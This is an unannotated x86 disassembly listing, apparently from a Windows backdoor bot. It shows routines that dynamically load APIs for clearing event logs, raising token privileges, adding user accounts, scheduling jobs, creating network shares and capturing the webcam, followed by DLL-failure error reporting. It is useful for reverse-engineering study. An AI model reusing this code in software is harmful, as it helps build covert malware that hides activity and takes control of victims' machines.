; ---------------------------------------------------------------------------
loc_40A01E: ; CODE XREF: sub_409DD4+144j
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov dword_4E31C4, eax
loc_40A029: ; CODE XREF: sub_409DD4+232j
; sub_409DD4+23Aj ...
mov dword_4E31C0, 1
loc_40A033: ; CODE XREF: sub_409DD4+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_40A1EC
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; GetProcAddress
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4E3168, eax
call esi ; GetProcAddress
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4E30AC, eax
call esi ; GetProcAddress
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4E311C, eax
call esi ; GetProcAddress
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4E2FF8, eax
call esi ; GetProcAddress
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4E305C, eax
call esi ; GetProcAddress
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4E30D4, eax
call esi ; GetProcAddress
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4E3078, eax
call esi ; GetProcAddress
cmp dword_4E3168, ebx
mov dword_4E3088, eax
jz short loc_40A0DC
cmp dword_4E30AC, ebx
jz short loc_40A0DC
cmp dword_4E311C, ebx
jz short loc_40A0DC
cmp dword_4E2FF8, ebx
jz short loc_40A0DC
cmp dword_4E305C, ebx
jz short loc_40A0DC
cmp dword_4E30D4, ebx
jnz short loc_40A0E6
loc_40A0DC: ; CODE XREF: sub_409DD4+2DEj
; sub_409DD4+2E6j ...
mov dword_4E31C8, 1
loc_40A0E6: ; CODE XREF: sub_409DD4+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; GetProcAddress
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_4E30DC, eax
call esi ; GetProcAddress
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_4E30B4, eax
call esi ; GetProcAddress
cmp dword_4E30DC, ebx
mov dword_4E3164, eax
jz short loc_40A121
cmp dword_4E30B4, ebx
jz short loc_40A121
cmp eax, ebx
jnz short loc_40A12B
loc_40A121: ; CODE XREF: sub_409DD4+33Fj
; sub_409DD4+347j
mov dword_4E31C8, 1
loc_40A12B: ; CODE XREF: sub_409DD4+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; GetProcAddress
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4E30EC, eax
call esi ; GetProcAddress
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4E2FD4, eax
call esi ; GetProcAddress
push offset aControlservice ; "ControlService"
push edi
mov dword_4E2FDC, eax
call esi ; GetProcAddress
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4E3040, eax
call esi ; GetProcAddress
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4E3044, eax
call esi ; GetProcAddress
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4E2FF0, eax
call esi ; GetProcAddress
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4E30B8, eax
call esi ; GetProcAddress
cmp dword_4E30EC, ebx
mov dword_4E2FE0, eax
jz short loc_40A1CF
cmp dword_4E2FD4, ebx
jz short loc_40A1CF
cmp dword_4E2FDC, ebx
jz short loc_40A1CF
cmp dword_4E3040, ebx
jz short loc_40A1CF
cmp dword_4E3044, ebx
jz short loc_40A1CF
cmp dword_4E2FF0, ebx
jz short loc_40A1CF
cmp dword_4E30B8, ebx
jz short loc_40A1CF
cmp eax, ebx
jnz short loc_40A1D9
loc_40A1CF: ; CODE XREF: sub_409DD4+3C5j
; sub_409DD4+3CDj ...
mov dword_4E31C8, 1
loc_40A1D9: ; CODE XREF: sub_409DD4+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4E2FD8, eax
jnz short loc_40A201
jmp short loc_40A1F7
; ---------------------------------------------------------------------------
loc_40A1EC: ; CODE XREF: sub_409DD4+26Aj
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov dword_4E31CC, eax
loc_40A1F7: ; CODE XREF: sub_409DD4+416j
mov dword_4E31C8, 1
loc_40A201: ; CODE XREF: sub_409DD4+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_40A2CD
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; GetProcAddress
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4E30E4, eax
call esi ; GetProcAddress
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4E313C, eax
call esi ; GetProcAddress
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_4E3144, eax
call esi ; GetProcAddress
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4E3100, eax
call esi ; GetProcAddress
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4E301C, eax
call esi ; GetProcAddress
push offset aBitblt ; "BitBlt"
push edi
mov dword_4E2FC8, eax
call esi ; GetProcAddress
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_4E3140, eax
call esi ; GetProcAddress
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_4E2FB4, eax
call esi ; GetProcAddress
cmp dword_4E30E4, ebx
mov dword_4E3054, eax
jz short loc_40A2D8
cmp dword_4E313C, ebx
jz short loc_40A2D8
cmp dword_4E3144, ebx
jz short loc_40A2D8
cmp dword_4E3100, ebx
jz short loc_40A2D8
cmp dword_4E301C, ebx
jz short loc_40A2D8
cmp dword_4E2FC8, ebx
jz short loc_40A2D8
cmp dword_4E3140, ebx
jz short loc_40A2D8
cmp dword_4E2FB4, ebx
jz short loc_40A2D8
cmp eax, ebx
jnz short loc_40A2E2
jmp short loc_40A2D8
; ---------------------------------------------------------------------------
loc_40A2CD: ; CODE XREF: sub_409DD4+438j
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov dword_4E31D4, eax
loc_40A2D8: ; CODE XREF: sub_409DD4+4B9j
; sub_409DD4+4C1j ...
mov dword_4E31D0, 1
loc_40A2E2: ; CODE XREF: sub_409DD4+4F5j
mov ebp, ds:dword_4F538C
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A59E
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; GetProcAddress
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4E3068, eax
call esi ; GetProcAddress
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4E319C, eax
call esi ; GetProcAddress
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4E3008, eax
call esi ; GetProcAddress
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4E2FE4, eax
call esi ; GetProcAddress
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4E30A4, eax
call esi ; GetProcAddress
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4E308C, eax
call esi ; GetProcAddress
push offset aSocket ; "socket"
push edi
mov dword_4E3050, eax
call esi ; GetProcAddress
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4E3178, eax
call esi ; GetProcAddress
push offset aConnect ; "connect"
push edi
mov dword_4E3194, eax
call esi ; GetProcAddress
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4E30A0, eax
call esi ; GetProcAddress
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4E3184, eax
call esi ; GetProcAddress
push offset aHtons ; "htons"
push edi
mov dword_4E3138, eax
call esi ; GetProcAddress
push offset aHtonl ; "htonl"
push edi
mov dword_4E30F8, eax
call esi ; GetProcAddress
push offset aNtohs ; "ntohs"
push edi
mov dword_4E30F4, eax
call esi ; GetProcAddress
push offset aNtohl ; "ntohl"
push edi
mov dword_4E3028, eax
call esi ; GetProcAddress
push offset aSend_1 ; "send"
push edi
mov dword_4E3020, eax
call esi ; GetProcAddress
push offset aSendto ; "sendto"
push edi
mov dword_4E3148, eax
call esi ; GetProcAddress
push offset aRecv ; "recv"
push edi
mov dword_4E315C, eax
call esi ; GetProcAddress
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4E3110, eax
call esi ; GetProcAddress
mov dword_4E30D0, eax
push offset aBind ; "bind"
push edi
call esi ; GetProcAddress
push offset aSelect ; "select"
push edi
mov dword_4E3124, eax
call esi ; GetProcAddress
push offset aListen ; "listen"
push edi
mov dword_4E30E0, eax
call esi ; GetProcAddress
push offset aAccept ; "accept"
push edi
mov dword_4E3120, eax
call esi ; GetProcAddress
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4E318C, eax
call esi ; GetProcAddress
push offset aGetsockname ; "getsockname"
push edi
mov dword_4E30D8, eax
call esi ; GetProcAddress
push offset aGethostname ; "gethostname"
push edi
mov dword_4E309C, eax
call esi ; GetProcAddress
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4E310C, eax
call esi ; GetProcAddress
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4E317C, eax
call esi ; GetProcAddress
push offset aGetpeername ; "getpeername"
push edi
mov dword_4E30B0, eax
call esi ; GetProcAddress
push offset aClosesocket ; "closesocket"
push edi
mov dword_4E304C, eax
call esi ; GetProcAddress
cmp dword_4E3068, ebx
mov dword_4E3190, eax
jz loc_40A5A9
cmp dword_4E319C, ebx
jz loc_40A5A9
cmp dword_4E3008, ebx
jz loc_40A5A9
cmp dword_4E30A4, ebx
jz loc_40A5A9
cmp dword_4E308C, ebx
jz loc_40A5A9
cmp dword_4E3050, ebx
jz loc_40A5A9
cmp dword_4E3178, ebx
jz loc_40A5A9
cmp dword_4E3194, ebx
jz loc_40A5A9
cmp dword_4E30A0, ebx
jz loc_40A5A9
cmp dword_4E3184, ebx
jz loc_40A5A9
cmp dword_4E3138, ebx
jz loc_40A5A9
cmp dword_4E30F8, ebx
jz loc_40A5A9
cmp dword_4E30F4, ebx
jz loc_40A5A9
cmp dword_4E3028, ebx
jz short loc_40A5A9
cmp dword_4E3148, ebx
jz short loc_40A5A9
cmp dword_4E315C, ebx
jz short loc_40A5A9
cmp dword_4E3110, ebx
jz short loc_40A5A9
cmp dword_4E30D0, ebx
jz short loc_40A5A9
cmp dword_4E3124, ebx
jz short loc_40A5A9
cmp dword_4E30E0, ebx
jz short loc_40A5A9
cmp dword_4E3120, ebx
jz short loc_40A5A9
cmp dword_4E318C, ebx
jz short loc_40A5A9
cmp dword_4E30D8, ebx
jz short loc_40A5A9
cmp dword_4E309C, ebx
jz short loc_40A5A9
cmp dword_4E310C, ebx
jz short loc_40A5A9
cmp dword_4E317C, ebx
jz short loc_40A5A9
cmp dword_4E30B0, ebx
jz short loc_40A5A9
cmp eax, ebx
jnz short loc_40A5B3
jmp short loc_40A5A9
; ---------------------------------------------------------------------------
loc_40A59E: ; CODE XREF: sub_409DD4+51Fj
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov dword_4E31DC, eax
loc_40A5A9: ; CODE XREF: sub_409DD4+6BEj
; sub_409DD4+6CAj ...
mov dword_4E31D8, 1
loc_40A5B3: ; CODE XREF: sub_409DD4+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A6B8
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; GetProcAddress
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4E3034, eax
call esi ; GetProcAddress
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_4E2FBC, eax
call esi ; GetProcAddress
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_4E30C0, eax
call esi ; GetProcAddress
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4E306C, eax
call esi ; GetProcAddress
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_4E30CC, eax
call esi ; GetProcAddress
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4E3090, eax
call esi ; GetProcAddress
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4E2FFC, eax
call esi ; GetProcAddress
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4E2FF4, eax
call esi ; GetProcAddress
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4E3004, eax
call esi ; GetProcAddress
cmp dword_4E3034, ebx
mov ecx, dword_4E3090
mov dword_4E312C, eax
jz short loc_40A694
cmp dword_4E2FBC, ebx
jz short loc_40A694
cmp dword_4E30C0, ebx
jz short loc_40A694
cmp dword_4E306C, ebx
jz short loc_40A694
cmp dword_4E30CC, ebx
jz short loc_40A694
cmp ecx, ebx
jz short loc_40A694
cmp dword_4E2FFC, ebx
jz short loc_40A694
cmp dword_4E2FF4, ebx
jz short loc_40A694
cmp dword_4E3004, ebx
jz short loc_40A694
cmp eax, ebx
jnz short loc_40A69E
loc_40A694: ; CODE XREF: sub_409DD4+87Ej
; sub_409DD4+886j ...
mov dword_4E31E0, 1
loc_40A69E: ; CODE XREF: sub_409DD4+8BEj
cmp ecx, ebx
jz short loc_40A6D3
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov dword_4E30A8, eax
jnz short loc_40A6D3
jmp short loc_40A6CD
; ---------------------------------------------------------------------------
loc_40A6B8: ; CODE XREF: sub_409DD4+7EAj
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov dword_4E31E4, eax
mov dword_4E31E0, 1
loc_40A6CD: ; CODE XREF: sub_409DD4+8E2j
mov dword_4E30A8, ebx
loc_40A6D3: ; CODE XREF: sub_409DD4+8CCj
; sub_409DD4+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A71D
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; GetProcAddress
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4E3080, eax
call esi ; GetProcAddress
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_4E31B0, eax
call esi ; GetProcAddress
cmp dword_4E3080, ebx
mov dword_4E3010, eax
jz short loc_40A728
cmp dword_4E31B0, ebx
jz short loc_40A728
cmp eax, ebx
jnz short loc_40A732
jmp short loc_40A728
; ---------------------------------------------------------------------------
loc_40A71D: ; CODE XREF: sub_409DD4+90Aj
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov dword_4E31EC, eax
loc_40A728: ; CODE XREF: sub_409DD4+939j
; sub_409DD4+941j ...
mov dword_4E31E8, 1
loc_40A732: ; CODE XREF: sub_409DD4+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A839
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; GetProcAddress
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4E2FEC, eax
call esi ; GetProcAddress
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4E2FC4, eax
call esi ; GetProcAddress
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_4E303C, eax
call esi ; GetProcAddress
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4E3070, eax
call esi ; GetProcAddress
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4E3188, eax
call esi ; GetProcAddress
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4E3024, eax
call esi ; GetProcAddress
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4E2FD0, eax
call esi ; GetProcAddress
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4E2FC0, eax
call esi ; GetProcAddress
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4E3058, eax
call esi ; GetProcAddress
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4E3150, eax
call esi ; GetProcAddress
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_4E3108, eax
call esi ; GetProcAddress
cmp dword_4E2FEC, ebx
mov dword_4E302C, eax
jz short loc_40A844
cmp dword_4E2FC4, ebx
jz short loc_40A844
cmp dword_4E303C, ebx
jz short loc_40A844
cmp dword_4E3070, ebx
jz short loc_40A844
cmp dword_4E3188, ebx
jz short loc_40A844
cmp dword_4E3024, ebx
jz short loc_40A844
cmp dword_4E2FD0, ebx
jz short loc_40A844
cmp dword_4E2FC0, ebx
jz short loc_40A844
cmp dword_4E3058, ebx
jz short loc_40A844
cmp dword_4E3150, ebx
jz short loc_40A844
cmp dword_4E3108, ebx
jnz short loc_40A84E
jmp short loc_40A844
; ---------------------------------------------------------------------------
loc_40A839: ; CODE XREF: sub_409DD4+969j
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov dword_4E31F4, eax
loc_40A844: ; CODE XREF: sub_409DD4+A11j
; sub_409DD4+A19j ...
mov dword_4E31F0, 1
loc_40A84E: ; CODE XREF: sub_409DD4+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A883
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; GetProcAddress
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4E3014, eax
call esi ; GetProcAddress
cmp dword_4E3014, ebx
mov dword_4E30F0, eax
jz short loc_40A88E
cmp eax, ebx
jnz short loc_40A898
jmp short loc_40A88E
; ---------------------------------------------------------------------------
loc_40A883: ; CODE XREF: sub_409DD4+A85j
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov dword_4E31FC, eax
loc_40A88E: ; CODE XREF: sub_409DD4+AA7j
; sub_409DD4+AADj
mov dword_4E31F8, 1
loc_40A898: ; CODE XREF: sub_409DD4+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A8CD
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; GetProcAddress
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4E3174, eax
call esi ; GetProcAddress
cmp dword_4E3174, ebx
mov dword_4E3170, eax
jz short loc_40A8D8
cmp eax, ebx
jnz short loc_40A8E2
jmp short loc_40A8D8
; ---------------------------------------------------------------------------
loc_40A8CD: ; CODE XREF: sub_409DD4+ACFj
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov dword_4E3204, eax
loc_40A8D8: ; CODE XREF: sub_409DD4+AF1j
; sub_409DD4+AF7j
mov dword_4E3200, 1
loc_40A8E2: ; CODE XREF: sub_409DD4+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A941
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; GetProcAddress
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4E31A0, eax
call esi ; GetProcAddress
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4E3198, eax
call esi ; GetProcAddress
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4E3160, eax
call esi ; GetProcAddress
cmp dword_4E31A0, ebx
mov dword_4E3030, eax
jz short loc_40A94C
cmp dword_4E3198, ebx
jz short loc_40A94C
cmp dword_4E3160, ebx
jz short loc_40A94C
cmp eax, ebx
jnz short loc_40A956
jmp short loc_40A94C
; ---------------------------------------------------------------------------
loc_40A941: ; CODE XREF: sub_409DD4+B19j
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov dword_4E320C, eax
loc_40A94C: ; CODE XREF: sub_409DD4+B55j
; sub_409DD4+B5Dj ...
mov dword_4E3208, 1
loc_40A956: ; CODE XREF: sub_409DD4+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A98B
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; GetProcAddress
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4E3064, eax
call esi ; GetProcAddress
cmp dword_4E3064, ebx
mov dword_4E316C, eax
jz short loc_40A996
cmp eax, ebx
jnz short loc_40A9A0
jmp short loc_40A996
; ---------------------------------------------------------------------------
loc_40A98B: ; CODE XREF: sub_409DD4+B8Dj
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov dword_4E3214, eax
loc_40A996: ; CODE XREF: sub_409DD4+BAFj
; sub_409DD4+BB5j
mov dword_4E3210, 1
loc_40A9A0: ; CODE XREF: sub_409DD4+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40AA29
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; GetProcAddress
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4E3134, eax
call esi ; GetProcAddress
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4E3180, eax
call esi ; GetProcAddress
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_4E30BC, eax
call esi ; GetProcAddress
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4E3074, eax
call esi ; GetProcAddress
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4E3114, eax
call esi ; GetProcAddress
cmp dword_4E3134, ebx
mov dword_4E3084, eax
jz short loc_40AA34
cmp dword_4E3180, ebx
jz short loc_40AA34
cmp dword_4E30BC, ebx
jz short loc_40AA34
cmp dword_4E3074, ebx
jz short loc_40AA34
cmp dword_4E3114, ebx
jz short loc_40AA34
cmp eax, ebx
jnz short loc_40AA3E
jmp short loc_40AA34
; ---------------------------------------------------------------------------
loc_40AA29: ; CODE XREF: sub_409DD4+BD7j
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov dword_4E321C, eax
loc_40AA34: ; CODE XREF: sub_409DD4+C2Dj
; sub_409DD4+C35j ...
mov dword_4E3218, 1
loc_40AA3E: ; CODE XREF: sub_409DD4+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40AA73
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi ; GetProcAddress
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_4E3048, eax
call esi ; GetProcAddress
cmp dword_4E3048, ebx
mov dword_4E3128, eax
jz short loc_40AA7E
cmp eax, ebx
jnz short loc_40AA88
jmp short loc_40AA7E
; ---------------------------------------------------------------------------
loc_40AA73: ; CODE XREF: sub_409DD4+C75j
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov dword_4E3224, eax
loc_40AA7E: ; CODE XREF: sub_409DD4+C97j
; sub_409DD4+C9Dj
mov dword_4E3220, 1
loc_40AA88: ; CODE XREF: sub_409DD4+C9Bj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_409DD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40AA90(int,char *Str,int,int)
sub_40AA90 proc near ; CODE XREF: sub_401CC7+2527p
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+Str]
push esi
xor esi, esi
cmp dword_4E31B8, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40AAD8
push dword_4E31BC
lea eax, [ebp+Dest]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 20h
loc_40AAD8: ; CODE XREF: sub_40AA90+1Aj
cmp dword_4E31C0, esi
jz short loc_40AB0C
push dword_4E31C4
lea eax, [ebp+Dest]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 20h
loc_40AB0C: ; CODE XREF: sub_40AA90+4Ej
cmp dword_4E31C8, esi
jz short loc_40AB40
push dword_4E31CC
lea eax, [ebp+Dest]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 20h
loc_40AB40: ; CODE XREF: sub_40AA90+82j
cmp dword_4E31D0, esi
jz short loc_40AB74
push dword_4E31D4
lea eax, [ebp+Dest]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 20h
loc_40AB74: ; CODE XREF: sub_40AA90+B6j
cmp dword_4E31D8, esi
jz short loc_40ABA8
push dword_4E31DC
lea eax, [ebp+Dest]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 20h
loc_40ABA8: ; CODE XREF: sub_40AA90+EAj
cmp dword_4E31E0, esi
jz short loc_40ABDC
push dword_4E31E4
lea eax, [ebp+Dest]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 20h
loc_40ABDC: ; CODE XREF: sub_40AA90+11Ej
cmp dword_4E31E8, esi
jz short loc_40AC10
push dword_4E31EC
lea eax, [ebp+Dest]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 20h
loc_40AC10: ; CODE XREF: sub_40AA90+152j
cmp dword_4E31F0, esi
jz short loc_40AC44
push dword_4E31F4
lea eax, [ebp+Dest]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 20h
loc_40AC44: ; CODE XREF: sub_40AA90+186j
cmp dword_4E31F8, esi
jz short loc_40AC78
push dword_4E31FC
lea eax, [ebp+Dest]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 20h
loc_40AC78: ; CODE XREF: sub_40AA90+1BAj
cmp dword_4E3200, esi
jz short loc_40ACAC
push dword_4E3204
lea eax, [ebp+Dest]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 20h
loc_40ACAC: ; CODE XREF: sub_40AA90+1EEj
cmp dword_4E3208, esi
jz short loc_40ACE0
push dword_4E320C
lea eax, [ebp+Dest]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 20h
loc_40ACE0: ; CODE XREF: sub_40AA90+222j
cmp dword_4E3210, esi
jz short loc_40AD14
push dword_4E3214
lea eax, [ebp+Dest]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 20h
loc_40AD14: ; CODE XREF: sub_40AA90+256j
cmp dword_4E3218, esi
jz short loc_40AD48
push dword_4E321C
lea eax, [ebp+Dest]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 20h
loc_40AD48: ; CODE XREF: sub_40AA90+28Aj
cmp dword_4E3220, esi
jz short loc_40AD7C
push dword_4E3224
lea eax, [ebp+Dest]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 20h
loc_40AD7C: ; CODE XREF: sub_40AA90+2BEj
lea eax, [ebp+Dest]
push offset asc_44422C ; "-"
push eax ; Dest
call _sprintf
cmp [ebp+arg_C], esi
